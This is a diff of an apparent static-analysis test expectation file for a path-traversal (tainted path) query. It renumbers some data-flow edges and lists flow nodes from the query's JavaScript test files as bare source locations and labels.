 | torrents.js:6:12:6:45 | dir + " ... t.data" | torrents.js:6:6:6:45 | loc | provenance |  |
 | torrents.js:6:24:6:27 | name | torrents.js:6:12:6:45 | dir + " ... t.data" | provenance | Config |
-| typescript.ts:9:7:9:48 | path | typescript.ts:12:29:12:32 | path | provenance |  |
-| typescript.ts:9:7:9:48 | path | typescript.ts:20:15:20:18 | path | provenance |  |
-| typescript.ts:9:7:9:48 | path | typescript.ts:23:15:23:18 | path | provenance |  |
-| typescript.ts:9:7:9:48 | path | typescript.ts:30:15:30:18 | path | provenance |  |
+| typescript.ts:9:7:9:48 | path | typescript.ts:11:29:11:32 | path | provenance |  |
+| typescript.ts:9:7:9:48 | path | typescript.ts:19:15:19:18 | path | provenance |  |
+| typescript.ts:9:7:9:48 | path | typescript.ts:22:15:22:18 | path | provenance |  |
+| typescript.ts:9:7:9:48 | path | typescript.ts:29:15:29:18 | path | provenance |  |
 | typescript.ts:9:14:9:37 | url.par ... , true) | typescript.ts:9:14:9:43 | url.par ... ).query | provenance | Config |
 | typescript.ts:9:14:9:43 | url.par ... ).query | typescript.ts:9:14:9:48 | url.par ... ry.path | provenance | Config |
 | typescript.ts:9:14:9:48 | url.par ... ry.path | typescript.ts:9:7:9:48 | path | provenance |  |
 | typescript.ts:9:24:9:30 | req.url | typescript.ts:9:14:9:37 | url.par ... , true) | provenance | Config |
-| typescript.ts:20:7:20:18 | path3 | typescript.ts:21:39:21:43 | path3 | provenance |  |
-| typescript.ts:20:15:20:18 | path | typescript.ts:20:7:20:18 | path3 | provenance |  |
-| typescript.ts:23:7:23:18 | path4 | typescript.ts:24:39:24:43 | path4 | provenance |  |
-| typescript.ts:23:15:23:18 | path | typescript.ts:23:7:23:18 | path4 | provenance |  |
-| typescript.ts:30:7:30:18 | path6 | typescript.ts:32:29:32:33 | path6 | provenance |  |
-| typescript.ts:30:15:30:18 | path | typescript.ts:30:7:30:18 | path6 | provenance |  |
+| typescript.ts:19:7:19:18 | path3 | typescript.ts:20:39:20:43 | path3 | provenance |  |
+| typescript.ts:19:15:19:18 | path | typescript.ts:19:7:19:18 | path3 | provenance |  |
+| typescript.ts:22:7:22:18 | path4 | typescript.ts:23:39:23:43 | path4 | provenance |  |
+| typescript.ts:22:15:22:18 | path | typescript.ts:22:7:22:18 | path4 | provenance |  |
+| typescript.ts:29:7:29:18 | path6 | typescript.ts:31:29:31:33 | path6 | provenance |  |
+| typescript.ts:29:15:29:18 | path | typescript.ts:29:7:29:18 | path6 | provenance |  |
+nodes
+| TaintedPath-es6.js:7:7:7:44 | path | semmle.label | path |
+| TaintedPath-es6.js:7:14:7:33 | parse(req.url, true) | semmle.label | parse(req.url, true) |
+| TaintedPath-es6.js:7:14:7:39 | parse(r ... ).query | semmle.label | parse(r ... ).query |
+| TaintedPath-es6.js:7:14:7:44 | parse(r ... ry.path | semmle.label | parse(r ... ry.path |
+| TaintedPath-es6.js:7:20:7:26 | req.url | semmle.label | req.url |
+| TaintedPath-es6.js:9:26:9:45 | join("public", path) | semmle.label | join("public", path) |
+| TaintedPath-es6.js:9:41:9:44 | path | semmle.label | path |
+| TaintedPath.js:9:7:9:48 | path | semmle.label | path |
+| TaintedPath.js:9:14:9:37 | url.par ... , true) | semmle.label | url.par ... , true) |
+| TaintedPath.js:9:14:9:43 | url.par ... ).query | semmle.label | url.par ... ).query |
+| TaintedPath.js:9:14:9:48 | url.par ... ry.path | semmle.label | url.par ... ry.path |
+| TaintedPath.js:9:24:9:30 | req.url | semmle.label | req.url |
+| TaintedPath.js:11:29:11:32 | path | semmle.label | path |
+| TaintedPath.js:13:29:13:48 | "/home/user/" + path | semmle.label | "/home/user/" + path |
+| TaintedPath.js:13:45:13:48 | path | semmle.label | path |
+| TaintedPath.js:16:33:16:36 | path | semmle.label | path |
+| TaintedPath.js:19:33:19:36 | path | semmle.label | path |
+| TaintedPath.js:22:33:22:36 | path | semmle.label | path |
+| TaintedPath.js:31:31:31:34 | path | semmle.label | path |
+| TaintedPath.js:36:3:36:44 | path | semmle.label | path |
+| TaintedPath.js:36:10:36:33 | url.par ... , true) | semmle.label | url.par ... , true) |
+| TaintedPath.js:36:10:36:39 | url.par ... ).query | semmle.label | url.par ... ).query |
+| TaintedPath.js:36:10:36:44 | url.par ... ry.path | semmle.label | url.par ... ry.path |
+| TaintedPath.js:36:20:36:26 | req.url | semmle.label | req.url |
+| TaintedPath.js:39:29:39:52 | pathMod ... e(path) | semmle.label | pathMod ... e(path) |
+| TaintedPath.js:39:48:39:51 | path | semmle.label | path |
+| TaintedPath.js:42:29:42:49 | pathMod ... n(path) | semmle.label | pathMod ... n(path) |
+| TaintedPath.js:42:45:42:48 | path | semmle.label | path |
+| TaintedPath.js:43:29:43:58 | pathMod ... ath, z) | semmle.label | pathMod ... ath, z) |
+| TaintedPath.js:43:51:43:54 | path | semmle.label | path |
+| TaintedPath.js:44:29:44:54 | pathMod ... e(path) | semmle.label | pathMod ... e(path) |
+| TaintedPath.js:44:50:44:53 | path | semmle.label | path |
+| TaintedPath.js:45:29:45:56 | pathMod ... , path) | semmle.label | pathMod ... , path) |
+| TaintedPath.js:45:52:45:55 | path | semmle.label | path |
+| TaintedPath.js:46:29:46:56 | pathMod ... ath, x) | semmle.label | pathMod ... ath, x) |
+| TaintedPath.js:46:49:46:52 | path | semmle.label | path |
+| TaintedPath.js:47:29:47:52 | pathMod ... e(path) | semmle.label | pathMod ... e(path) |
+| TaintedPath.js:47:48:47:51 | path | semmle.label | path |
+| TaintedPath.js:48:29:48:61 | pathMod ... ath, z) | semmle.label | pathMod ... ath, z) |
+| TaintedPath.js:48:54:48:57 | path | semmle.label | path |
+| TaintedPath.js:49:29:49:61 | pathMod ... h(path) | semmle.label | pathMod ... h(path) |
+| TaintedPath.js:49:57:49:60 | path | semmle.label | path |
+| TaintedPath.js:54:31:54:70 | require ... eq.url) | semmle.label | require ... eq.url) |
+| TaintedPath.js:54:31:54:76 | require ... ).query | semmle.label | require ... ).query |
+| TaintedPath.js:54:63:54:69 | req.url | semmle.label | req.url |
+| TaintedPath.js:55:31:55:68 | require ... eq.url) | semmle.label | require ... eq.url) |
+| TaintedPath.js:55:31:55:74 | require ... ).query | semmle.label | require ... ).query |
+| TaintedPath.js:55:61:55:67 | req.url | semmle.label | req.url |
+| TaintedPath.js:56:31:56:67 | require ... eq.url) | semmle.label | require ... eq.url) |
+| TaintedPath.js:56:31:56:73 | require ... ).query | semmle.label | require ... ).query |
+| TaintedPath.js:56:60:56:66 | req.url | semmle.label | req.url |
+| TaintedPath.js:64:48:64:60 | req.params[0] | semmle.label | req.params[0] |
+| TaintedPath.js:73:6:73:47 | path | semmle.label | path |
+| TaintedPath.js:73:13:73:36 | url.par ... , true) | semmle.label | url.par ... , true) |
+| TaintedPath.js:73:13:73:42 | url.par ... ).query | semmle.label | url.par ... ).query |
+| TaintedPath.js:73:13:73:47 | url.par ... ry.path | semmle.label | url.par ... ry.path |
+| TaintedPath.js:73:23:73:29 | req.url | semmle.label | req.url |
+| TaintedPath.js:75:28:75:48 | fs.real ... c(path) | semmle.label | fs.real ... c(path) |
+| TaintedPath.js:75:44:75:47 | path | semmle.label | path |
+| TaintedPath.js:76:14:76:17 | path | semmle.label | path |
+| TaintedPath.js:77:32:77:39 | realpath | semmle.label | realpath |
+| TaintedPath.js:78:45:78:52 | realpath | semmle.label | realpath |
+| TaintedPath.js:109:6:109:47 | path | semmle.label | path |
+| TaintedPath.js:109:13:109:36 | url.par ... , true) | semmle.label | url.par ... , true) |
+| TaintedPath.js:109:13:109:42 | url.par ... ).query | semmle.label | url.par ... ).query |
+| TaintedPath.js:109:13:109:47 | url.par ... ry.path | semmle.label | url.par ... ry.path |
+| TaintedPath.js:109:23:109:29 | req.url | semmle.label | req.url |
+| TaintedPath.js:111:23:111:26 | path | semmle.label | path |
+| TaintedPath.js:115:7:115:48 | path | semmle.label | path |
+| TaintedPath.js:115:14:115:37 | url.par ... , true) | semmle.label | url.par ... , true) |
+| TaintedPath.js:115:14:115:43 | url.par ... ).query | semmle.label | url.par ... ).query |
+| TaintedPath.js:115:14:115:48 | url.par ... ry.path | semmle.label | url.par ... ry.path |
+| TaintedPath.js:115:24:115:30 | req.url | semmle.label | req.url |
+| TaintedPath.js:117:19:117:22 | path | semmle.label | path |
+| TaintedPath.js:119:7:119:29 | split | semmle.label | split |
+| TaintedPath.js:119:15:119:18 | path | semmle.label | path |
+| TaintedPath.js:119:15:119:29 | path.split("/") | semmle.label | path.split("/") |
+| TaintedPath.js:121:19:121:23 | split | semmle.label | split |
+| TaintedPath.js:121:19:121:33 | split.join("/") | semmle.label | split.join("/") |
+| TaintedPath.js:125:19:125:23 | split | semmle.label | split |
+| TaintedPath.js:125:19:125:26 | split[x] | semmle.label | split[x] |
+| TaintedPath.js:126:19:126:35 | prefix + split[x] | semmle.label | prefix + split[x] |
+| TaintedPath.js:126:28:126:32 | split | semmle.label | split |
+| TaintedPath.js:126:28:126:35 | split[x] | semmle.label | split[x] |
+| TaintedPath.js:128:7:128:38 | concatted | semmle.label | concatted |
+| TaintedPath.js:128:19:128:38 | prefix.concat(split) | semmle.label | prefix.concat(split) |
+| TaintedPath.js:128:33:128:37 | split | semmle.label | split |
+| TaintedPath.js:129:19:129:27 | concatted | semmle.label | concatted |
+| TaintedPath.js:129:19:129:37 | concatted.join("/") | semmle.label | concatted.join("/") |
+| TaintedPath.js:131:7:131:39 | concatted2 | semmle.label | concatted2 |
+| TaintedPath.js:131:20:131:24 | split | semmle.label | split |
+| TaintedPath.js:131:20:131:39 | split.concat(prefix) | semmle.label | split.concat(prefix) |
+| TaintedPath.js:132:19:132:28 | concatted2 | semmle.label | concatted2 |
+| TaintedPath.js:132:19:132:38 | concatted2.join("/") | semmle.label | concatted2.join("/") |
+| TaintedPath.js:134:19:134:23 | split | semmle.label | split |
+| TaintedPath.js:134:19:134:29 | split.pop() | semmle.label | split.pop() |
+| TaintedPath.js:139:7:139:48 | path | semmle.label | path |
+| TaintedPath.js:139:14:139:37 | url.par ... , true) | semmle.label | url.par ... , true) |
+| TaintedPath.js:139:14:139:43 | url.par ... ).query | semmle.label | url.par ... ).query |
+| TaintedPath.js:139:14:139:48 | url.par ... ry.path | semmle.label | url.par ... ry.path |
+| TaintedPath.js:139:24:139:30 | req.url | semmle.label | req.url |
+| TaintedPath.js:143:29:143:32 | path | semmle.label | path |
+| TaintedPath.js:143:29:143:55 | path.re ... /g, '') | semmle.label | path.re ... /g, '') |
+| TaintedPath.js:149:29:149:32 | path | semmle.label | path |
+| TaintedPath.js:149:29:149:52 | path.re ... /g, '') | semmle.label | path.re ... /g, '') |
+| TaintedPath.js:150:29:150:32 | path | semmle.label | path |
+| TaintedPath.js:150:29:150:53 | path.re ... /g, '') | semmle.label | path.re ... /g, '') |
+| TaintedPath.js:151:29:151:32 | path | semmle.label | path |
+| TaintedPath.js:151:29:151:51 | path.re ... /g, '') | semmle.label | path.re ... /g, '') |
+| TaintedPath.js:152:29:152:32 | path | semmle.label | path |
+| TaintedPath.js:152:29:152:57 | path.re ... /g, '') | semmle.label | path.re ... /g, '') |
+| TaintedPath.js:167:29:167:73 | "prefix ... +/, '') | semmle.label | "prefix ... +/, '') |
+| TaintedPath.js:167:40:167:43 | path | semmle.label | path |
+| TaintedPath.js:167:40:167:73 | path.re ... +/, '') | semmle.label | path.re ... +/, '') |
+| TaintedPath.js:168:29:168:54 | pathMod ... e(path) | semmle.label | pathMod ... e(path) |
+| TaintedPath.js:168:29:168:84 | pathMod ... +/, '') | semmle.label | pathMod ... +/, '') |
+| TaintedPath.js:168:50:168:53 | path | semmle.label | path |
+| TaintedPath.js:176:29:176:45 | qs.parse(req.url) | semmle.label | qs.parse(req.url) |
+| TaintedPath.js:176:29:176:49 | qs.pars ... rl).foo | semmle.label | qs.pars ... rl).foo |
+| TaintedPath.js:176:38:176:44 | req.url | semmle.label | req.url |
+| TaintedPath.js:177:29:177:59 | qs.pars ... q.url)) | semmle.label | qs.pars ... q.url)) |
+| TaintedPath.js:177:29:177:63 | qs.pars ... l)).foo | semmle.label | qs.pars ... l)).foo |
+| TaintedPath.js:177:38:177:58 | normali ... eq.url) | semmle.label | normali ... eq.url) |
+| TaintedPath.js:177:51:177:57 | req.url | semmle.label | req.url |
+| TaintedPath.js:179:29:179:51 | parseqs ... eq.url) | semmle.label | parseqs ... eq.url) |
+| TaintedPath.js:179:29:179:55 | parseqs ... rl).foo | semmle.label | parseqs ... rl).foo |
+| TaintedPath.js:179:44:179:50 | req.url | semmle.label | req.url |
+| TaintedPath.js:184:7:184:48 | path | semmle.label | path |
+| TaintedPath.js:184:14:184:37 | url.par ... , true) | semmle.label | url.par ... , true) |
+| TaintedPath.js:184:14:184:43 | url.par ... ).query | semmle.label | url.par ... ).query |
+| TaintedPath.js:184:14:184:48 | url.par ... ry.path | semmle.label | url.par ... ry.path |
+| TaintedPath.js:184:24:184:30 | req.url | semmle.label | req.url |
+| TaintedPath.js:185:31:185:34 | path | semmle.label | path |
+| TaintedPath.js:186:45:186:48 | path | semmle.label | path |
+| TaintedPath.js:187:35:187:38 | path | semmle.label | path |
+| TaintedPath.js:191:7:191:48 | path | semmle.label | path |
+| TaintedPath.js:191:14:191:37 | url.par ... , true) | semmle.label | url.par ... , true) |
+| TaintedPath.js:191:14:191:43 | url.par ... ).query | semmle.label | url.par ... ).query |
+| TaintedPath.js:191:14:191:48 | url.par ... ry.path | semmle.label | url.par ... ry.path |
+| TaintedPath.js:191:24:191:30 | req.url | semmle.label | req.url |
+| TaintedPath.js:195:29:195:32 | path | semmle.label | path |
+| TaintedPath.js:195:29:195:85 | path.re ... '), '') | semmle.label | path.re ... '), '') |
+| TaintedPath.js:200:7:200:48 | path | semmle.label | path |
+| TaintedPath.js:200:14:200:37 | url.par ... , true) | semmle.label | url.par ... , true) |
+| TaintedPath.js:200:14:200:43 | url.par ... ).query | semmle.label | url.par ... ).query |
+| TaintedPath.js:200:14:200:48 | url.par ... ry.path | semmle.label | url.par ... ry.path |
+| TaintedPath.js:200:24:200:30 | req.url | semmle.label | req.url |
+| TaintedPath.js:202:29:202:32 | path | semmle.label | path |
+| TaintedPath.js:202:29:202:68 | path.re ... '), '') | semmle.label | path.re ... '), '') |
+| TaintedPath.js:205:31:205:34 | path | semmle.label | path |
+| TaintedPath.js:205:31:205:69 | path.re ... '), '') | semmle.label | path.re ... '), '') |
+| TaintedPath.js:212:7:212:48 | path | semmle.label | path |
+| TaintedPath.js:212:14:212:37 | url.par ... , true) | semmle.label | url.par ... , true) |
+| TaintedPath.js:212:14:212:43 | url.par ... ).query | semmle.label | url.par ... ).query |
+| TaintedPath.js:212:14:212:48 | url.par ... ry.path | semmle.label | url.par ... ry.path |
+| TaintedPath.js:212:24:212:30 | req.url | semmle.label | req.url |
+| TaintedPath.js:213:9:213:37 | improperEscape | semmle.label | improperEscape |
+| TaintedPath.js:213:26:213:37 | escape(path) | semmle.label | escape(path) |
+| TaintedPath.js:213:33:213:36 | path | semmle.label | path |
+| TaintedPath.js:214:29:214:42 | improperEscape | semmle.label | improperEscape |
+| TaintedPath.js:215:9:215:40 | improperEscape2 | semmle.label | improperEscape2 |
+| TaintedPath.js:215:27:215:40 | unescape(path) | semmle.label | unescape(path) |
+| TaintedPath.js:215:36:215:39 | path | semmle.label | path |
+| TaintedPath.js:216:29:216:43 | improperEscape2 | semmle.label | improperEscape2 |
+| examples/TaintedPath.js:8:7:8:52 | filePath | semmle.label | filePath |
+| examples/TaintedPath.js:8:18:8:41 | url.par ... , true) | semmle.label | url.par ... , true) |
+| examples/TaintedPath.js:8:18:8:47 | url.par ... ).query | semmle.label | url.par ... ).query |
+| examples/TaintedPath.js:8:18:8:52 | url.par ... ry.path | semmle.label | url.par ... ry.path |
+| examples/TaintedPath.js:8:28:8:34 | req.url | semmle.label | req.url |
+| examples/TaintedPath.js:10:29:10:43 | ROOT + filePath | semmle.label | ROOT + filePath |
+| examples/TaintedPath.js:10:36:10:43 | filePath | semmle.label | filePath |
+| express.js:8:20:8:32 | req.query.bar | semmle.label | req.query.bar |
+| handlebars.js:10:51:10:58 | filePath | semmle.label | filePath |
+| handlebars.js:11:32:11:39 | filePath | semmle.label | filePath |
+| handlebars.js:13:73:13:80 | filePath | semmle.label | filePath |
+| handlebars.js:15:25:15:32 | filePath | semmle.label | filePath |
+| handlebars.js:29:46:29:60 | req.params.path | semmle.label | req.params.path |
+| handlebars.js:43:15:43:29 | req.params.path | semmle.label | req.params.path |
+| hapi.js:14:19:14:51 | filepath | semmle.label | filepath |
+| hapi.js:14:30:14:51 | request ... ilepath | semmle.label | request ... ilepath |
+| hapi.js:15:44:15:51 | filepath | semmle.label | filepath |
+| more-fs-extra.js:8:11:8:22 | { filename } | semmle.label | { filename } |
+| more-fs-extra.js:8:11:8:33 | filename | semmle.label | filename |
+| more-fs-extra.js:8:13:8:20 | filename | semmle.label | filename |
+| more-fs-extra.js:8:26:8:33 | req.body | semmle.label | req.body |
+| more-fs-extra.js:10:15:10:22 | filename | semmle.label | filename |
+| more-fs-extra.js:11:11:11:18 | filename | semmle.label | filename |
+| more-fs-extra.js:12:14:12:21 | filename | semmle.label | filename |
+| more-fs-extra.js:13:18:13:25 | filename | semmle.label | filename |
+| more-fs-extra.js:14:11:14:18 | filename | semmle.label | filename |
+| more-fs-extra.js:15:21:15:28 | filename | semmle.label | filename |
+| more-fs-extra.js:16:21:16:28 | filename | semmle.label | filename |
+| more-fs-extra.js:17:31:17:38 | filename | semmle.label | filename |
+| more-fs-extra.js:18:15:18:22 | filename | semmle.label | filename |
+| more-fs-extra.js:19:25:19:32 | filename | semmle.label | filename |
+| more-fs-extra.js:20:21:20:28 | filename | semmle.label | filename |
+| more-fs-extra.js:21:17:21:24 | filename | semmle.label | filename |
+| more-fs-extra.js:22:16:22:23 | filename | semmle.label | filename |
+| more-fs-extra.js:23:20:23:27 | filename | semmle.label | filename |
+| more-fs-extra.js:24:19:24:26 | filename | semmle.label | filename |
+| more-fs-extra.js:25:15:25:22 | filename | semmle.label | filename |
+| more-fs-extra.js:26:19:26:26 | filename | semmle.label | filename |
+| more-fs-extra.js:27:13:27:20 | filename | semmle.label | filename |
+| more-fs-extra.js:28:17:28:24 | filename | semmle.label | filename |
+| more-fs-extra.js:29:23:29:30 | filename | semmle.label | filename |
+| more-fs-extra.js:30:16:30:23 | filename | semmle.label | filename |
+| more-fs-extra.js:31:20:31:27 | filename | semmle.label | filename |
+| more-fs-extra.js:32:23:32:30 | filename | semmle.label | filename |
+| normalizedPaths.js:11:7:11:27 | path | semmle.label | path |
+| normalizedPaths.js:11:14:11:27 | req.query.path | semmle.label | req.query.path |
+| normalizedPaths.js:13:19:13:22 | path | semmle.label | path |
+| normalizedPaths.js:14:19:14:29 | './' + path | semmle.label | './' + path |
+| normalizedPaths.js:14:26:14:29 | path | semmle.label | path |
+| normalizedPaths.js:15:19:15:22 | path | semmle.label | path |
+| normalizedPaths.js:15:19:15:38 | path + '/index.html' | semmle.label | path + '/index.html' |
+| normalizedPaths.js:16:19:16:53 | pathMod ... .html') | semmle.label | pathMod ... .html') |
+| normalizedPaths.js:16:35:16:38 | path | semmle.label | path |
+| normalizedPaths.js:17:19:17:57 | pathMod ... , path) | semmle.label | pathMod ... , path) |
+| normalizedPaths.js:17:53:17:56 | path | semmle.label | path |
+| normalizedPaths.js:21:7:21:49 | path | semmle.label | path |
+| normalizedPaths.js:21:14:21:49 | pathMod ... y.path) | semmle.label | pathMod ... y.path) |
+| normalizedPaths.js:21:35:21:48 | req.query.path | semmle.label | req.query.path |
+| normalizedPaths.js:23:19:23:22 | path | semmle.label | path |
+| normalizedPaths.js:24:19:24:29 | './' + path | semmle.label | './' + path |
+| normalizedPaths.js:24:26:24:29 | path | semmle.label | path |
+| normalizedPaths.js:25:19:25:22 | path | semmle.label | path |
+| normalizedPaths.js:25:19:25:38 | path + '/index.html' | semmle.label | path + '/index.html' |
+| normalizedPaths.js:26:19:26:53 | pathMod ... .html') | semmle.label | pathMod ... .html') |
+| normalizedPaths.js:26:35:26:38 | path | semmle.label | path |
+| normalizedPaths.js:27:19:27:57 | pathMod ... , path) | semmle.label | pathMod ... , path) |
+| normalizedPaths.js:27:53:27:56 | path | semmle.label | path |
+| normalizedPaths.js:31:7:31:49 | path | semmle.label | path |
+| normalizedPaths.js:31:14:31:49 | pathMod ... y.path) | semmle.label | pathMod ... y.path) |
+| normalizedPaths.js:31:35:31:48 | req.query.path | semmle.label | req.query.path |
+| normalizedPaths.js:36:19:36:22 | path | semmle.label | path |
+| normalizedPaths.js:41:21:41:24 | path | semmle.label | path |
+| normalizedPaths.js:54:7:54:49 | path | semmle.label | path |
+| normalizedPaths.js:54:14:54:49 | pathMod ... y.path) | semmle.label | pathMod ... y.path) |
+| normalizedPaths.js:54:35:54:48 | req.query.path | semmle.label | req.query.path |
+| normalizedPaths.js:59:19:59:22 | path | semmle.label | path |
+| normalizedPaths.js:63:19:63:22 | path | semmle.label | path |
+| normalizedPaths.js:63:19:63:38 | path + "/index.html" | semmle.label | path + "/index.html" |
+| normalizedPaths.js:68:21:68:24 | path | semmle.label | path |
+| normalizedPaths.js:73:7:73:56 | path | semmle.label | path |
+| normalizedPaths.js:73:14:73:56 | pathMod ... y.path) | semmle.label | pathMod ... y.path) |
+| normalizedPaths.js:73:35:73:55 | './' +  ... ry.path | semmle.label | './' +  ... ry.path |
+| normalizedPaths.js:73:42:73:55 | req.query.path | semmle.label | req.query.path |
+| normalizedPaths.js:78:22:78:25 | path | semmle.label | path |
+| normalizedPaths.js:82:7:82:27 | path | semmle.label | path |
+| normalizedPaths.js:82:14:82:27 | req.query.path | semmle.label | req.query.path |
+| normalizedPaths.js:87:29:87:32 | path | semmle.label | path |
+| normalizedPaths.js:90:31:90:34 | path | semmle.label | path |
+| normalizedPaths.js:94:7:94:49 | path | semmle.label | path |
+| normalizedPaths.js:94:14:94:49 | pathMod ... y.path) | semmle.label | pathMod ... y.path) |
+| normalizedPaths.js:94:35:94:48 | req.query.path | semmle.label | req.query.path |
+| normalizedPaths.js:99:29:99:32 | path | semmle.label | path |
+| normalizedPaths.js:117:7:117:44 | path | semmle.label | path |
+| normalizedPaths.js:117:14:117:44 | fs.real ... y.path) | semmle.label | fs.real ... y.path) |
+| normalizedPaths.js:117:30:117:43 | req.query.path | semmle.label | req.query.path |
+| normalizedPaths.js:119:19:119:22 | path | semmle.label | path |
+| normalizedPaths.js:120:19:120:53 | pathMod ... .html') | semmle.label | pathMod ... .html') |
+| normalizedPaths.js:120:35:120:38 | path | semmle.label | path |
+| normalizedPaths.js:130:7:130:49 | path | semmle.label | path |
+| normalizedPaths.js:130:14:130:49 | pathMod ... y.path) | semmle.label | pathMod ... y.path) |
+| normalizedPaths.js:130:35:130:48 | req.query.path | semmle.label | req.query.path |
+| normalizedPaths.js:135:21:135:24 | path | semmle.label | path |
+| normalizedPaths.js:139:7:139:62 | path | semmle.label | path |
+| normalizedPaths.js:139:14:139:62 | pathMod ... y.path) | semmle.label | pathMod ... y.path) |
+| normalizedPaths.js:139:48:139:61 | req.query.path | semmle.label | req.query.path |
+| normalizedPaths.js:144:21:144:24 | path | semmle.label | path |
+| normalizedPaths.js:148:7:148:58 | path | semmle.label | path |
+| normalizedPaths.js:148:14:148:58 | 'foo/'  ... y.path) | semmle.label | 'foo/'  ... y.path) |
+| normalizedPaths.js:148:23:148:58 | pathMod ... y.path) | semmle.label | pathMod ... y.path) |
+| normalizedPaths.js:148:44:148:57 | req.query.path | semmle.label | req.query.path |
+| normalizedPaths.js:151:21:151:24 | path | semmle.label | path |
+| normalizedPaths.js:153:21:153:24 | path | semmle.label | path |
+| normalizedPaths.js:160:7:160:49 | path | semmle.label | path |
+| normalizedPaths.js:160:14:160:49 | pathMod ... y.path) | semmle.label | pathMod ... y.path) |
+| normalizedPaths.js:160:35:160:48 | req.query.path | semmle.label | req.query.path |
+| normalizedPaths.js:165:19:165:22 | path | semmle.label | path |
+| normalizedPaths.js:170:21:170:24 | path | semmle.label | path |
+| normalizedPaths.js:174:7:174:27 | path | semmle.label | path |
+| normalizedPaths.js:174:14:174:27 | req.query.path | semmle.label | req.query.path |
+| normalizedPaths.js:184:19:184:22 | path | semmle.label | path |
+| normalizedPaths.js:187:21:187:24 | path | semmle.label | path |
+| normalizedPaths.js:189:21:189:24 | path | semmle.label | path |
+| normalizedPaths.js:192:21:192:24 | path | semmle.label | path |
+| normalizedPaths.js:194:21:194:24 | path | semmle.label | path |
+| normalizedPaths.js:199:21:199:24 | path | semmle.label | path |
+| normalizedPaths.js:201:7:201:49 | normalizedPath | semmle.label | normalizedPath |
+| normalizedPaths.js:201:24:201:49 | pathMod ... e(path) | semmle.label | pathMod ... e(path) |
+| normalizedPaths.js:201:45:201:48 | path | semmle.label | path |
+| normalizedPaths.js:205:21:205:34 | normalizedPath | semmle.label | normalizedPath |
+| normalizedPaths.js:208:21:208:34 | normalizedPath | semmle.label | normalizedPath |
+| normalizedPaths.js:210:21:210:34 | normalizedPath | semmle.label | normalizedPath |
+| normalizedPaths.js:214:7:214:49 | path | semmle.label | path |
+| normalizedPaths.js:214:14:214:49 | pathMod ... y.path) | semmle.label | pathMod ... y.path) |
+| normalizedPaths.js:214:35:214:48 | req.query.path | semmle.label | req.query.path |
+| normalizedPaths.js:219:3:219:33 | path | semmle.label | path |
+| normalizedPaths.js:219:10:219:33 | decodeU ... t(path) | semmle.label | decodeU ... t(path) |
+| normalizedPaths.js:219:29:219:32 | path | semmle.label | path |
+| normalizedPaths.js:222:21:222:24 | path | semmle.label | path |
+| normalizedPaths.js:226:7:226:70 | path | semmle.label | path |
+| normalizedPaths.js:226:14:226:49 | pathMod ... y.path) | semmle.label | pathMod ... y.path) |
+| normalizedPaths.js:226:14:226:70 | pathMod ... g, ' ') | semmle.label | pathMod ... g, ' ') |
+| normalizedPaths.js:226:35:226:48 | req.query.path | semmle.label | req.query.path |
+| normalizedPaths.js:228:21:228:24 | path | semmle.label | path |
+| normalizedPaths.js:236:7:236:47 | path | semmle.label | path |
+| normalizedPaths.js:236:14:236:47 | pathMod ... y.path) | semmle.label | pathMod ... y.path) |
+| normalizedPaths.js:236:33:236:46 | req.query.path | semmle.label | req.query.path |
+| normalizedPaths.js:238:19:238:22 | path | semmle.label | path |
+| normalizedPaths.js:245:21:245:24 | path | semmle.label | path |
+| normalizedPaths.js:250:21:250:24 | path | semmle.label | path |
+| normalizedPaths.js:254:7:254:47 | path | semmle.label | path |
+| normalizedPaths.js:254:14:254:47 | pathMod ... y.path) | semmle.label | pathMod ... y.path) |
+| normalizedPaths.js:254:33:254:46 | req.query.path | semmle.label | req.query.path |
+| normalizedPaths.js:256:19:256:22 | path | semmle.label | path |
+| normalizedPaths.js:262:21:262:24 | path | semmle.label | path |
+| normalizedPaths.js:267:7:267:42 | newpath | semmle.label | newpath |
+| normalizedPaths.js:267:17:267:42 | pathMod ... e(path) | semmle.label | pathMod ... e(path) |
+| normalizedPaths.js:267:38:267:41 | path | semmle.label | path |
+| normalizedPaths.js:270:21:270:27 | newpath | semmle.label | newpath |
+| normalizedPaths.js:275:7:275:42 | newpath | semmle.label | newpath |
+| normalizedPaths.js:275:17:275:42 | pathMod ... e(path) | semmle.label | pathMod ... e(path) |
+| normalizedPaths.js:275:38:275:41 | path | semmle.label | path |
+| normalizedPaths.js:278:21:278:27 | newpath | semmle.label | newpath |
+| normalizedPaths.js:283:7:283:42 | newpath | semmle.label | newpath |
+| normalizedPaths.js:283:17:283:42 | pathMod ... e(path) | semmle.label | pathMod ... e(path) |
+| normalizedPaths.js:283:38:283:41 | path | semmle.label | path |
+| normalizedPaths.js:286:21:286:27 | newpath | semmle.label | newpath |
+| normalizedPaths.js:291:7:291:42 | newpath | semmle.label | newpath |
+| normalizedPaths.js:291:17:291:42 | pathMod ... e(path) | semmle.label | pathMod ... e(path) |
+| normalizedPaths.js:291:38:291:41 | path | semmle.label | path |
+| normalizedPaths.js:296:21:296:27 | newpath | semmle.label | newpath |
+| normalizedPaths.js:303:6:303:26 | path | semmle.label | path |
+| normalizedPaths.js:303:13:303:26 | req.query.path | semmle.label | req.query.path |
+| normalizedPaths.js:304:18:304:21 | path | semmle.label | path |
+| normalizedPaths.js:309:19:309:22 | path | semmle.label | path |
+| normalizedPaths.js:313:19:313:22 | path | semmle.label | path |
+| normalizedPaths.js:316:19:316:22 | path | semmle.label | path |
+| normalizedPaths.js:320:6:320:49 | normalizedPath | semmle.label | normalizedPath |
+| normalizedPaths.js:320:23:320:49 | pathMod ... , path) | semmle.label | pathMod ... , path) |
+| normalizedPaths.js:320:45:320:48 | path | semmle.label | path |
+| normalizedPaths.js:325:19:325:32 | normalizedPath | semmle.label | normalizedPath |
+| normalizedPaths.js:332:19:332:32 | normalizedPath | semmle.label | normalizedPath |
+| normalizedPaths.js:339:6:339:46 | path | semmle.label | path |
+| normalizedPaths.js:339:13:339:46 | pathMod ... y.path) | semmle.label | pathMod ... y.path) |
+| normalizedPaths.js:339:32:339:45 | req.query.path | semmle.label | req.query.path |
+| normalizedPaths.js:341:18:341:21 | path | semmle.label | path |
+| normalizedPaths.js:346:19:346:22 | path | semmle.label | path |
+| normalizedPaths.js:354:7:354:27 | path | semmle.label | path |
+| normalizedPaths.js:354:14:354:27 | req.query.path | semmle.label | req.query.path |
+| normalizedPaths.js:356:19:356:22 | path | semmle.label | path |
+| normalizedPaths.js:358:7:358:51 | requestPath | semmle.label | requestPath |
+| normalizedPaths.js:358:21:358:51 | pathMod ... , path) | semmle.label | pathMod ... , path) |
+| normalizedPaths.js:358:47:358:50 | path | semmle.label | path |
